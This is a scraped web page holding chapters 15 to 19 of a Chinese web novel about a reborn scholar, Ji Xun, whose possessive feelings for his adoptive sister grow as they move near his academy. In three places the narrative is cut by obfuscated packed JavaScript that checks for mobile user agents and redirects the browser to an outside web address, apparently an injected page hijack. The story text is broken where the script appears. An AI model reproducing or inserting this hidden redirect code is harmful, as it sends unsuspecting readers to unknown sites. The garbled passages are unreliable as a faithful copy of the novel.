季珣平日里总是面容冷肃,一副生人勿近的模样,就算是笑,笑意也未达眼底,透着一股子淡漠疏离的味道,她还是头一次瞧见他露出这般笑容。 像是发自内心的感到愉悦。 姜芸薇心中不禁觉得有些疑惑,明明刚刚才惹了这么大一个麻烦,他却在高兴什么? 15. 他的爱是占有,是摧毁 初夏时节,天气变幻无常,方才还是细雨连绵,转瞬之间,便雨过天晴,阳光穿透云层,洒落在湿润的地面上,熠熠生辉,两旁的树木在雨后的洗礼下越发青翠欲滴,空气中弥漫着淡淡的泥土气息。 姜芸薇将伞收起,正欲告辞离去,肚子却蓦地发出一阵响亮的咕噜声。 两人都没有说话,这声音便显得分外清晰。 姜芸薇脸颊微微浮现几抹红晕,她今日一大早就坐牛车赶往书院,就连早膳都顾不上吃,这会肚子自然唱起了空城计。 季珣唇角漾开一抹弧度,“阿姐饿了吧,不如一起去我们书院饭堂先吃点东西垫垫肚子。” 从书院到柳溪村,也得好几个时辰,恐怕等她回到家中,早就已经饿的前胸贴后背了。 思索一番后,姜芸薇点头应下,“也好。” 两人一同来到书院的饭堂,此时正值饭点,饭堂里挤满了学子。 季珣和姜芸薇两人一走进来,便如鹤立鸡群般,瞬间吸引了众人的注意力。 季珣身形修长,面容清俊,透着几分病弱的苍白,乌黑长发用白色的发带随意束起,几缕碎发垂落在额前,为其增添了几分冷峻的气质。 而他身旁站着的女郎,身量才堪堪到他的肩膀处,女郎秀靥清雅,一双眼睛如湖水般清澈盈润,行走间月白色裙摆如流云轻漾,配着那怯生生的眉眼,更显其身姿楚楚,我见犹怜。 两人走在一起,竟意外的登对。 季珣向来都是独来独往,如今乍然和一位女郎走在一起,自然勾起了不少人的好奇心,许多人都忍不住悄悄将视线放在他们身上。 察觉到周围投来的打量目光,姜芸薇不禁觉得有些紧张,手指不自觉的蜷曲成拳,就连视线都不敢往旁边多看。 感知到姜芸薇的情绪变化,季珣温声道:“阿姐,你先坐下稍等片刻,我去拿饭菜。” 姜芸薇点了点头,选了个角落的、不怎么引人注目的位置坐了下来。 她还是第一次来这样的地方,之前虽然跟着季母来过好几次书院,却都是在大门口,还从未进来过。 此刻饭堂里都是男子,只有她一个女子。 意识到这一点后,姜芸薇心中越发紧张不安,她害怕周围人的注视,这会令她感到非常的紧张。 好在,季珣很快就端着饭菜走了过来。 姜芸薇看了一眼,秀丽的眉头顿时皱了起来。 这菜色未免也太过简陋了,统共才三菜一汤,青菜色泽黯淡,豆腐看起来像泔水汁一样,紫菜蛋花汤上面只有稀疏几片蛋花,最后一个辣椒炒肉倒是看起来卖相尚可。 她夹起来吃了一口,脸色顿时变了,这也未免太寡淡了,还透着一股子淡淡的腥气,一看就没放多少油水,咸也放少了,淡而无味。 季珣每天就吃这些东西吗? 每日课业那般繁重,吃食却如此的不讲究,长此以往,怕是人都要消瘦了。 瞧见她眉头皱成一个“川“字,季珣低声道:“阿姐,可是饭菜不合胃口?” 他曾经在天牢待过一段时间,在那里,空气中都弥漫着血腥味和腐败的气息,狱卒每日送来的饭菜,基本上都是馊的,然而只要能够填饱肚子,他也照吃不误。 在那段时间,进食只为果腹,穿衣只为御寒,他早就已经不知生命究竟还有何意义,灵魂被困在躯壳中苟延残喘,空余一具破败的残躯。 姜芸薇不答反问,“阿珣,你每日都吃这些吗?” 季珣神色自若的点了点头,似乎并未觉得有什么不对。 姜芸薇一副欲言又止的模样,“阿珣,你就不觉得难吃吗?” 季珣声音沉静,“与我无言,吃什么都一样,只要能够填饱肚子就行。” 姜芸薇听后,心中愈发担忧。 虽然家中的饭菜也算不上是什么大鱼大肉,山珍海味,但至少该有的油水不会少,滋味也还尚可,然而这里的饭菜,却实在是令人难以下咽。 真不知道季珣这些日子是如何过来的。 季珣:“既然阿姐吃不惯,那我们出去吃吧,学堂外面有好几家小食店。” 姜芸薇收回思绪,弯唇笑了笑,“不必麻烦了,我凑合吃一些就好了。” 话毕,她埋头夹起一块豆腐吃了起来。 见状,季珣也沉默着低头吃饭。 姜芸薇吃了几口垫了垫肚子,直到腹中饥饿的感觉散去,这才放下了筷子,她忍不住抬眼,悄悄看向季珣。 他吃饭的姿态分外优雅,举手投足间动作矜贵,似乎眼前不是什么难以下咽的饭菜,而且什么美味佳肴一般。 姜芸薇忍不住在心中感慨。 看来许是难吃的东西吃多了,阿珣竟都习以为常了,这可该如何是好。 * “季珣,饭堂外面有人找你。” 一个书院学子突然走过来,冲着季珣挤眉弄眼的笑道。 说完,他视线不住的在季珣和姜芸薇两人身上来回打转,眼神之中充满了调侃暧昧的意味。 姜芸薇看懂了他的眼神,顿时羞红了脸。 看来这些人都误会了她和阿珣的关系。 也不是第一次了,毕竟两人不是亲生的姐弟,相貌生的也丝毫不像,以前甚至还有人猜测姜芸薇是他的童养媳。 想到这,姜芸薇就觉得臊得慌,面上涌起一阵热意。 季珣蹙了蹙眉,顺着学子的视线看向饭堂外。 只见一个身着淡蓝色对襟羽纱长裙的女子站在外面等候,此人正是王诗婉。 女子身姿曼妙,娉婷窈窕,如同一株含苞待放的亭亭新荷。 季珣收回视线,神色淡淡,“你去告诉王姑娘,我没空见她。” 那学子挠了挠头,面露为难之色,他本来想劝两句,瞧见季珣冰冷的眼神后,话到喉咙边又咽了回去,“行,我去转告她。” 说完,转身一溜烟的跑了出去。 姜芸薇自然也瞧见了站在饭堂外面的王诗婉。 她忍不住在心中感慨:这位王姑娘当真勇敢,有勇气表露自己的心意,不像她,倘若有朝一日遇到心仪之人,恐怕只敢将满腔隐晦心思埋藏在心底,不敢宣之于口。 她收回思绪,“阿珣,那位就是心仪你的王姑娘吗?你对她可有意?” 季珣掀起眼皮看向她,狭长幽深的眸底翻滚着晦暗不明的情绪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16679051|188350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知为何,被他这样的眼神注视着,姜芸薇无端觉得有些紧张,她下意识的垂下脑袋,避开他灼灼的目光,有些尴尬的说道:“阿珣,我不是那个意思,你如今还是该以学业为重,但是倘若碰到心仪的女郎,也可以尝试接触接触。” 季珣没有说话。 那个学子很快又去而复返,“季珣,我已经跟王姑娘说过了,但是她说她有话跟你说,你不出来她就不走,我实在是没办法了。” 闻言,姜芸薇忍不住劝道:“阿珣,既然如此,你就出去见上一面吧,想必她真有什么事情找你。” 季珣沉默半晌后,站起身走了出去。 * 王诗婉还在回想着方才她看到的那一幕画面。 素来冷淡寡言的季珣,寒潭般幽冷的眸底,却在看向他身旁的女子时,浮动起一层明澈的柔光。 那位女郎,关系定然与他非同一般。 “王姑娘有何事要说。” 直到耳旁响起那道熟悉的清冷悦耳的嗓音,王诗婉才回过神来。 她抬起头看向季珣。 看向这个她恋慕许久的男子。 初次见到他的时候,是在父亲的书房内。 彼时,男子身着一身粗布麻衣,却掩不住周身的气度,清润俊雅,皎皎如玉,像是误入凡尘的谪仙。 王诗婉第一眼便对他心动了。 只可惜,这个男子冷的像冰块,无论她如何示好,他通通都视而不见,如同雪山一般,不可触及。 她曾经以为,这辈子都没有人能够走进他的内心。 可是如今她才知晓,自己错了。 他并非冷血无情之人,只是,他的满腔情意皆赋予了旁人。 王诗婉心中的杂念纷飞,最终归于平静,“季公子,你可知晓,我爹他将我许配给方源了。” “我知晓。”季珣点了点头。 瞧着他漠然的神情,王诗婉心中又是一阵钝痛,她终于明白,眼前男人的心是捂不热的,他对自己压根没有半点感情。 王诗婉压下心中浮起的苦涩情绪,她直视着季珣,一字一句,柔声问道:“季公子,我对你的情意相信你也知晓,你可有什么话想对我说的?” 季珣沉默须臾后,摇了摇头,“抱歉。” 王诗婉总是时不时的便来寻他,或者故意制造一些机会,装作不经意偶遇他,手段非常拙劣。 说实话,他心中只感到厌烦,却不得不维持着表面的平和,不想将话说的太难听,然而,她却似乎看不出来他的冷漠,还是三番四次的纠缠于他。 季珣不明白尘世间的感情。 王诗婉说她恋慕自己。 他却不明白,究竟什么才是恋慕? 恋慕一个人,是什么样的感觉? 难道恋慕一个人,就要变得像她这样,为了对方不惜放弃尊严,低到尘埃里。 如果是这样的话,那男女之间的感情未免太无趣了。 倘若他恋慕一个人,他定然不会如此。 他的爱是占有,是摧毁,倘若所爱之人不喜欢自己,那么,他会选择将所爱之人囚禁在身边,哪怕用最卑劣的手段,也要得到她。 16. 不如我与阿姐同睡一床被褥?^…… “从前多番纠缠,是我不对,往后再也不会如此了。”王诗婉眸中的光亮恍若在一瞬间湮灭了,她紧咬着唇瓣,眼泪在眼眶打转,却强忍着不让泪水落下,“祝季公子早日觅得良缘。” 美人落泪,楚楚可怜,这副模样,实在很难不令人心生怜惜,偏偏季珣却是无动于衷。 王诗婉苦笑一声,转身离开。 刚走了两步,便听身后传来季珣沉静的嗓音,“每个人的命运都掌握在自己的手中,王姑娘倘若不愿嫁,何不逃婚呢?” 王诗婉心中一震。 这话听起来离经叛道,然而从季珣的口中说出,却也不足为奇了。 她的心跳缓慢的停滞了一下,旋即,在胸腔内愈发炙热的跳动起来,鼻尖蓦地有些发酸,王诗婉捏紧了拳头,尽量用平静的嗓音开口道:“多谢季公子,我明白了。” 话毕,继续往前走去。 她的身形单薄瘦削,背脊却挺得笔直。 看着她清瘦的背影,季珣本该平静的内心,却泛起了一丝微小的波澜。 方才那一瞬间,他竟鬼使神差的给她出主意,让她逃婚。 若是在前世,绝不会如此。 前世的他,经手过的抄家灭门惨案数不胜数,他从未有过任何恻隐之心。 然而这一世,似乎沾染了姜芸薇身上的坏毛病,他竟然也慢慢变得心软起来了。 方才,看着王诗婉泪凝于睫的模样,他的脑海中却不由自主的想到了姜芸薇。 倘若阿姐瞧见她哭的这般可怜,只怕又要心生不忍了,她总是这般善良,就连王二那样的人死了,都要为其伤怀。 * 而此时饭堂内,学子们都已经陆陆续续走的差不多了,只余下零星几个人。 姜芸薇正和林遇寒暄。 林遇来的迟,他吃的是自己带来的食盒里面的饭菜,非常的丰盛,尤其是其中一道竹笋鲜肉鸡汤,散发着诱人的香味。 姜芸姜忍不住问他,“林公子,请问你这个饭菜是哪来的?” 林遇:“饭堂的饭菜滋味实在不太好,家母便特意在学堂附近给我赁了个小宅院,我每日晚上等学堂下课后便都去那里住,宅院里有伺候的丫鬟,她每日做好了饭,便送来学堂。” 姜芸薇眨了眨眼,恍然大悟,“原来如此。” 她听后不禁有些意动,季珣平日在书院里总是独来独往,如今又惹恼了方源那位富家公子哥,只怕方源往后定然还会恶意找茬,倒不如搬出书院住在外头,如此一来,也就不用吃饭堂这么难吃的饭菜了。 她从前不知季珣在书院过的是什么苦日子,如今既然瞧见了,又岂能够心安呢? 这个念头一旦在脑海中闪过,便开始疯狂的在心底生根发芽。 姜芸薇暗下决心,今日下午就去书院附近看看,有没有什么便宜的宅子。 反正她如今孤身一人,在柳溪村也没什么牵挂了,倒不如搬来书院附近居住,更方便照顾季珣的起居饮食,他如今正在紧要关头,必须全身心投入学业当中,怎能因为这些细枝末节的小事分了心。 这样想着,困扰姜芸薇今日的难题瞬间迎刃而解,她弯唇露出一个真挚的笑容,“多谢你,林公子。” 林遇神色温和,唇边笑意融融,“姜姑娘不必客气。” * 季珣走进来的时候,看见的便是这样一副画面。 他的阿姐,弯起漂亮的眼眸,冲着林遇浅浅的笑,如山间的茶花般灿烂明媚。 季珣头一次觉得,姜芸薇的笑容竟是这般的刺眼。 自己不是她最疼爱的弟弟吗? 既然如此,她又为何要对别人笑? 他乌黑的瞳仁中泛起一丝极浅淡的杀意。 “阿珣,你回来啦。” 姜芸薇听到动静,回头看了一眼,顿时面色一喜,她连忙快步走上前,迫不及待的将心目中的想法告知他,“阿珣,我打算在书院附近赁个小宅院住下,到时候你就可以每日回家睡觉了,家中清净,也没什么人能吵到你读书,到了饭点,还可以回来吃饭,你看怎么样?” 瞧见她喜盈盈的模样,季珣方才还暴虐的心瞬间柔软下来,他定定看她半晌,薄唇勾起一抹极浅淡的笑意,身子微微前倾,“阿姐是想搬来与我同住?” 两人的距离在顷刻间拉进,季珣的嗓音又沉又哑,话语中的热气喷洒在她的肌肤上,一阵酥酥麻麻的痒。 姜芸薇下意识的往后退了一步,她直觉季珣这话说的有些奇怪,却又不知该如何反驳,只得咬了咬唇,小声道:“是的,阿珣,我想这样更方便照顾你,你也能够把心思都放在学业上。” 姜芸薇说话间,纤长的睫毛轻轻颤动着,恍若蝴蝶扑簌着翅膀。 季珣视线肆无忌惮的落在她的脸上,眼神一寸一寸的描摹着她的五官轮廓,“如此甚好,阿姐独自一人住在柳溪村,我也不太放心。” 两人一拍即合,这件事情也就这样定下了。 等到姜芸薇和季珣说完话后,她正准备回头和林遇打个招呼,却见方才他坐过的地方此刻空无一人。 他已经先离开了。 姜芸薇说不上来心中是什么感受,她抿了抿唇,笑道:“阿珣,你快先回去上课吧,找宅子的事情就包在我身上了。” 将她细微的表情变化看在眼里,季珣清冷的眉眼间浸染上一丝凉意,“好,那辛苦阿姐了。” 姜芸薇办事效率很高,她几乎一整个下午的时间,都在书院附近转悠,最终,找到了一个两进的小院子,半年十两银子的租金。 这若是在平时,姜芸薇定然舍不得花这个钱,然而,前些日子刚得了陈掌柜一百两银子,这可以说是天上掉馅饼的事情了,再加上此事关乎季珣的前程,她咬咬牙便定下了。 就这样一直忙活到了傍晚,才总算有时间坐下来歇一歇。 今日太晚了,她也不方便再回柳溪村,便只好在这里将就一夜,好在赁给她宅院的大娘是个热心肠的,得知她的境况后,主动给她准备了一床新的被褥,姜芸薇自是千恩万谢。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16687930|188350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 晚饭还没有来得及吃,腹中饥肠辘辘,姜芸薇煮了一大碗面条,准备简单对付一下。 这时候,屋外传来两声“砰砰”的敲门声,姜芸薇以为是赁给她宅院的大娘,连忙放下碗筷,上前去敲门。 瞧见门口站着的人时,她顿时一怔。 夜色静谧,一轮明月悬挂在天边,月光洒落在古朴的庭院中,恍若为万物渡上一层银白色的轻纱,充满了朦胧之美。 季珣雪衣黑发,立在门外,月光泠泠照在他瓷白的脸庞上,愈发显得他眼瞳乌黑,唇色殷红,恍若画本子中,山野精怪化成的艳鬼一般,相貌秾丽。 姜芸薇呆了一下,“阿珣,你怎么来了?” 她原本是打算等明日回柳溪村一趟,将家中物品都搬过来,收拾整齐后,再叫季珣过来住下的,没想到,他今日竟然这么晚了还过来。 “明日,我同阿姐一起回柳溪村。” 季珣语气淡淡,他的身上恍若也沾染了月色的寒意,裹挟了一身的清冷气息。 姜芸薇愣了愣,“你明天不用上课吗?” 季珣:“我向夫子告了一天假。” 姜芸薇连忙道:“不用,我自己去就好了,你明日照常去上课吧,别耽误了课业。” “阿姐放心吧,不会耽误的,明日,我陪你一起去。”季珣语气温和,却透着不容拒绝的强势。 他实在不明白,为何对于姜芸薇来说,他的课业成绩就那般重要,为了这莫须有的前途,她甚至甘愿付出一切,包括金钱,时间。 这辈子,倘若不是因为姜芸薇,他恐怕早就已经退学了,这条路前世早就已经走过一遭了,重来一次也是毫无意义。 姜芸薇败下阵来,只好点头应下了,她视线在屋内环顾一圈,“可是阿珣,大娘她今日只给了我一床被褥。” 季珣不以为意,“阿姐不必忧心,如今天气炎热,我在床上合衣躺一晚上就行了,用不着什么被褥。” 姜芸薇秀丽的眉头蹙起,一脸的不赞同,“这怎么行呢,夜里湿气重,万一染上了风寒就不好了。” “既然这样,那阿姐你说该如何是好?我总不能让阿姐你一个女儿家睡在冰冷的床榻上。”屋内燃着油灯,烛火摇曳,在季珣面上投下一层淡淡的阴翳。 他勾起唇角,突然有些恶劣的笑了笑,“不如我和阿姐同睡一床被褥?”顿了顿,不紧不慢的补充,“反正小时候也不是没有一起睡过。” 姜芸薇瞪大了眼睛,整个人都有些懵怔,她不敢相信方才的话是出自季珣之口。 虽然两人乃是姐弟,小时候也曾经同塌而眠,然而,现如今彼此都长大了,早就到了该避嫌的年龄。 怎么可以再同塌而眠! 姜芸薇涨红了脸,磕磕巴巴,“阿珣,这怎么行呢,这于理不合。” 季珣凝视着低垂着脑袋的姜芸薇,只见她洁白的脖颈上渐渐染上一层绯色,像是盛开的桃花一样潋滟,他眼眸一黯,唇角难得勾起一抹愉悦的笑容,“我说笑的,阿姐不必当真。” 17. 第17章 姜芸薇轻轻“嗯”了一声,声如蚊呐。 季珣敛眸:“阿姐不必再多言了,我合衣躺一晚上,不会有事的。” 他的声音淡淡的,听不出情绪起伏,却自带一种令人无法违逆的气场。 季珣虽然平日里对她这个姐姐态度温和,然而他面无表情的时候,却实在令人有些发怵。 姜芸薇本就不擅长与人争辩,只得咬着嘴唇讷讷点了点头。 季珣目光落在桌上那碗还未来得及动筷子的面上,眉梢微扬,“阿姐还没吃晚饭?” 姜芸薇:“正要吃呢。” 话毕,她在桌边坐下,重新拿起筷子,“阿珣,你用过晚饭没?可要一起吃点?” 她忙活了一下午,白皙的额头上都沁出了薄汗,几缕发丝凌乱的贴在额前,脸颊红扑扑的,一双眼睛却亮盈盈,宛如一弯弦月。 季珣颔首,“好,正好我也有些饿了。” “那我再去煮点面。” 姜芸薇正要站起身,一双修长有力的手却蓦地按住了她的肩膀,制止了她的动作。 他身上炙热的温度隔着一层薄薄的衣料,传递到了她的身上,姜芸薇像是被火灼了一下,心头微微战栗。 季珣垂着眼帘,视线落在桌面的碗上,“不必这么麻烦,那么多面,阿姐能吃完吗?不如阿姐分一半给我吧,可还有新的碗筷?” 闻言,姜芸薇面露踌躇之色,碗筷倒是有,她今日刚添置的,只是这面她方才吃了几口,再给季珣吃,会不会…… 但转念一想,两人乃是姐弟,是彼此在这个世界上唯一的亲人了,既然季珣都不介意,自己又何必在意这些细枝末节。 季珣将碗筷拿了过来,姜芸薇几乎将自己碗中一半的面都拨给了他,“为了填饱肚子随便煮的,可能不怎么好吃,阿珣你凑合着吃点吧。” 两人面对面坐着,桌面上燃着烛灯,昏黄的光晕将屋内映照的一片明亮。 窗牖半开,偶尔一阵风拂过,窗外的树叶沙沙作响,在寂静的夜色中分外清晰。 姜芸薇的吃相很斯文,轻启朱唇,小口小口的吞嚼着,安静而又乖巧。 就和她这个人一样。 察觉到季珣的视线始终盘旋在自己头顶上,令人难以忽视,一种被窥视的感觉遽然涌上心头,姜芸薇有些不自在,半晌,终是忍不住开口,“阿珣,可是这面不合胃口?” “自然不是。”季珣摇了摇头,“方才不小心走神了,在想其他的事情。” 姜芸薇不疑有他,方才心头浮起的几分怪异感瞬间消失了,她柔声道:“快些吃吧,等面凉了就不好吃了。” “好。”季珣点了点头,低头认真吃起面来。 待到吃完后,季珣主动将碗洗了,又烧好了两大桶热水,方便两人沐浴。 姜芸薇劳碌了一整天,这会总算能够歇会儿,她靠在木质浴桶边缘,闭着眼睛感受着热水包裹身体带来的舒爽感,水汽氤氲,将她浑身的肌肤蒸的白里透红。 待到洗完后,姜芸薇拿过挂在一旁的小衣穿上,正要跨出浴桶,视线一转,蓦地瞧见一只青色的蛇盘旋在不远处的桌沿上,在昏黄的烛火下,折射出幽幽的冷冽的光芒,正嘶嘶吐着信子。 姜芸薇吓得花容失色,发出一声短促的尖叫。 “阿姐,怎么了?” 门外很快就传来季珣的声音,话毕,他轻轻敲了敲门,“出什么事情了?” “阿珣,屋里…屋里头有蛇。” 姜芸薇吓得浑身都在发颤,嘴皮子说话都说不利索。 她话音刚落下,季珣便一脚踹开禁闭的屋门,闯了进去。 他一眼便看到了桌面上的青蛇,旋即,飞快的从腰间抽出一柄软剑,只见剑光一闪,那蛇顿时被砍成两半,掉落在地上,蛇身痛苦的蜷曲了一下,很快就不动了。 “好了,阿姐,没事了,蛇已经死了。” 季珣回过头看向姜芸薇,却在瞧见她此刻的模样后,神情一滞。 屋内水汽氤氲,姜芸薇只穿着一件桃红色的小衣,在屋内昏暗烛火的照耀下,小衣的系带鲜红,愈发衬的她的肌肤莹白似玉,身材线条凹凸有致,腰肢纤细,恍若一掌便可以轻易握住。 她的锁骨处,有一颗朱红色的小痣,如同红梅覆雪,平添了几分迤逦。 瞧见他的眼神,姜芸薇雪白的小脸腾地涨红,她连忙用双手挡在胸口,眼中惶惶然噙着水雾,一脸的惊慌失措,刚沐浴过后湿漉漉的长发披散在雪白肩头,水珠滴落在地砖上,洇出一道深色的痕迹。 季珣望着她,眼眸里翻滚着晦暗不明的情绪。 阿姐这副模样。 看起来实在是很好欺负的样子。 屋内到处都充斥着她身上清甜的香气,无孔不入,像是一张网,细细密密朝着他袭来,寸寸钻入,将他一点一点吞噬。 姜芸薇脸颊都烧起来了,她羞臊难忍,说话磕磕巴巴,“阿珣,你能不能先出去,我先穿好衣服。” 季珣不语,只是目光直勾勾的看着她,那漆黑的瞳仁,恍若深不见底的古井,摄人心魄。 他的眼神犹如实质,充满了侵略性,似乎正有一双轻柔的手,正一寸一寸抚摸过她的肌肤,激起一阵陌生的战栗感。 “阿珣。”姜芸薇又唤了一声。 这一回,她的声音都带上了哭腔,纤长的睫毛如同蝶翼般微微颤动着,眼睛和鼻头都染上一层红色,看着可怜又可爱。 “好。” 季珣终于大发慈悲,不再逗弄她,他点了点头,转身走了出去。 姜芸薇松了口气,她连忙拿起一旁的衣服穿上,紧接着,走到床榻边坐了下来。 她有些懊恼的伸出双手捂着脸,脸颊依旧滚烫似火,身上的热意难消,只要一想起来方才的事情,她就觉得羞燥难堪。 她再也没脸面对季珣了! 地面上还残留着那条青蛇的尸体,血迹沿着地钻缝隙蔓延开来,将地面染成一片深红色,姜芸薇只看了一眼便觉得瘆得慌,连忙移开视线。 “阿姐,你可穿好衣服了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她从小到大最怕的就是蛇了,想到这个房间死过一条蛇,她今晚是无论如何也不敢在此处睡觉了。 云隐书院位置比较偏远,建在山脚下,姜芸薇租的这个宅院也靠近山林,后面便是一大片山林,而山间蛇虫鼠蚁是最多的。 一开始没有想到这一点,这会儿意识到了以后,姜芸薇心中不禁有些后怕,她抬起头,眸中还残留着对方才看到青蛇的恐惧,声音颤抖,“阿珣,你说这宅子里面不会还有蛇吧?” 似乎早就猜到了她会问这个问题,季珣毫不犹豫的回答道:“阿姐不用害怕,另外那个房间,我已经仔细检查过了,并没有蛇虫了,窗户我也已经关上了。” 听后,姜芸薇这才松了口气,她在心中暗暗盘算着,明天回柳溪村的时候,必须得顺便去镇上买一些驱赶蛇虫鼠蚁的药。 今日还好季珣回来了,否则她一个人在,遇到这种事情,还不知道该如何是好呢! 季珣很快就将蛇的尸体处理了,打算明日带去镇上,作为药材卖给药堂,又将屋子收拾干净,这才合衣在床上躺了下来。 18. 第18章 月色如练,竹影摇曳,空气中都泛着湿冷的凉意,整个宅院被月光笼罩着,像是披上了一层朦胧绰约的轻纱,一切都如坠烟雾般看不清晰。 季珣躺在冰冷的床榻上,凉意丝丝缕缕沿着肌肤渗透进来,他却丝毫不觉得寒冷,身体反而有些浮动和燥热,体内恍若有一股火,正急促而炽热的燃烧着。 前世,他得到了一切,权势,金钱,地位,却唯独不通男女情事,这一世,或许是老天开眼,给他这个恶贯满盈之人一个重来的机会,将阿姐送来身边。 只要阿姐喜欢,他可以一辈子装成她喜欢的模样,陪在她的身边。 这一辈子,倘若能够永远和阿姐在一起,那么,这漫长的人生,应当不会太无聊。 季珣眼睫轻轻颤抖了两下,注视着漆黑一片的房梁,忍不住在心中想着:不知道阿姐,此时此刻,心中在想些什么呢? * 而此时,一墙之隔。 姜芸薇亦是丝毫没有睡意。 她脑海中总是忍不住浮现出季珣那时候看她的眼神,那双漆黑深邃的瞳仁中,充满了侵略性和占有欲。 像是想要将她拆吃入腹。 想到这里,姜芸薇陡然一惊,旋即,连忙飞快的在心中否认了这个荒唐的猜测。 季珣待她这个姐姐这般好,今日又再救了她一次,这般光风霁月、冰魂雪魄的真君子,自己怎么能如此恶意揣测他? 定然是她看错了! 姜芸薇收回思绪,不再多想,沉沉倦意涌上心头,不多时,她很快就闭上眼睛睡了过去。 翌日清晨,等姜芸薇醒过来的时候,已经日上三竿了。 看着透过窗棂缝隙涌进来的阳光,她猛的清醒过来,连忙翻身坐起。 今日事情比较多,原本是打算早些时辰动身的,没想到一睡便睡了这么久。 姜芸薇连忙换好衣服起身,洗漱过后,便推开门走了出去。 晨曦初绽,山上雾霭重重,两旁树木层层叠叠,高耸入云,放眼望去,一片青翠的碧绿。 此处光线极好,阳光洒落在地面上,投射出明明灭灭的光斑,时不时便响起几声鸟鸣声,空气中透着草木的清香。 看着这美丽的景致,她的心情也不自觉轻快了起来。 季珣恰好从屋外走了进来,视线凝在她的身上,“阿姐醒了?桌上煮了面,阿姐先凑合着吃些吧。” 她今日穿了件浅绿色的绣衫罗裙,眉若春山含黛,眼若盈盈秋水,整个人都透着股清雅脱俗的韵味。 季珣忍不住多看了她几眼。 闻言,姜芸薇不禁有些赧然,她这个做姐姐的,睡到日上三竿,反而让弟弟早起做饭,实在是太不应该了。 她忍不住开口,“阿珣,你什么时候起来的,怎么也不叫我。” 季珣唇边挂着一抹温煦的笑容,“辰时便起来了。”顿了顿,他语气中多了几分笑意,“阿姐多睡一会不好吗,我为何要叫醒你?” 姜芸薇道:“我们今日不是还得去柳溪村一趟,来回恐怕也得好几个时辰。” “没关系,不着急。”季珣气定神闲,一副不急不躁的模样,似乎没有任何事情能够引起他的情绪波动,“阿姐先去用早膳吧。” 姜芸薇点了点头,走到桌边坐下,安静的将一碗面吃完。 待到一切都收拾妥当后,两人这才准备动身。 刚走到门口,却见院子外竟停着一辆马车,两匹油光水滑的马儿嘚嘚敲击着地面,溅起阵阵尘雾,车身很大,四面皆用黑色绸布装,看上去分外气派。 姜芸薇目光不由自主的看向季珣,眸中写满了讶异。 季珣主动开口,“阿姐,这马车是我雇来的,阿姐上车吧。” 姜芸薇呆了呆,一时还有些回不过神来,“阿珣,这马车很贵吧?” 季珣温声解释,“阿姐,我们东西多,倘若不雇辆马车,如何将那些东西带过来?况且马车脚程快,这样也能够节约时间。 闻言,姜芸薇点了点头,没有再多说什么,倒是难得季珣思虑这般周全,还一大早就准备好了马车。 姐弟两人面对面坐在宽敞的马车里面。 这还是姜芸薇头一次坐马车,她坐在车厢里,忍不住掀开车帘,朝着外面看 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手掌抽离的那一瞬间,他的小指却微不可察的在她的掌心勾缠了一下,转瞬即逝,快的令人恍然以为是错觉,细密的触感如同投入平静湖面的小石子,倏然在她的心尖漾开圈圈涟漪。 姜芸薇愕然,下意识的抬眼去看季珣。 只见后者眼神澄澈,神色平和。 姜芸薇咬了咬唇,暗道自己又多心了,许是不小心碰到了一下。 她没再多想,两人来到屋内,开始分工收拾行囊,忙活了快一个时辰,才总算是收拾完了,好歹在此处住了这么多年,如今骤然要离开,姜芸薇还真有些舍不得。 她站在屋门口,目光扫过烟熏火燎的灶台,裂痕纵横的墙面,窗棂上褪色的窗花,脑海中倏地浮现出从前季母在世时候的画面,在这个屋子里,她们一家人曾有过温馨的过往,也有过痛苦的不堪回首的回忆。 姜芸薇叹了口气,最后将屋门“吱呀”合上,转过身,踏进门外熹微的晨光中。 人不能活在过去,她得向前看,母亲已经死了,往后这个世界上,就只剩下她和弟弟两个人相依为命了。 19. 第19章 待到一切都拾缀完毕后,姜芸薇去了一趟王大娘家中,毕竟这些年来,王大娘对她们一家人照顾颇多,如今自己要走了,于情于理,都该打个招呼。 王大娘得知她要搬去书院附近住,拉着她的手依依不舍,又闲话家常了一盏茶功夫,才放她离开。 从王大娘家中出来后,刚走了没多远,却遇到了一个意想不到的人。 ——居然是多日未见的文司祁。 姜芸薇差点没认出来他,文司祁如今看上去分外憔悴,眼窝深陷,面色惨白,下巴处冒着薄薄的胡须,身形也有些佝偻,和上次高大俊朗的模样判若两人。 自从上次见过一面后,文司祁就如同人间蒸发一般,消失的无影无踪,就连王大娘都联系不上他。 也不知道他这些日子去做什么了,竟变得如此狼狈。 文司祁显然也瞧见她了,脚下步伐一顿。 姜芸薇遥遥点了点头,算是打过招呼,正要绕过他继续往前走。 文司祁却突然叫住了她,“姜姑娘,我有话想跟你说。” 姜芸薇只得停住脚步,立在原地等待他的下文。 文司祁神情复杂的看她一眼,“姜姑娘,季珣不是什么好人,你最好离他远点。” 姜芸薇蹙了蹙眉,饶是素来好性子,此刻也不禁有些恼了,“文公子在胡说什么?” 文司祁眸中闪过一丝蚀骨的恨意,咬牙切齿道:“我没有胡说,不过空长了一副迷惑人心的好皮囊罢了,他这人其实睚眦必报,心狠手辣,我今日落得这副田地,就是拜他所赐。” 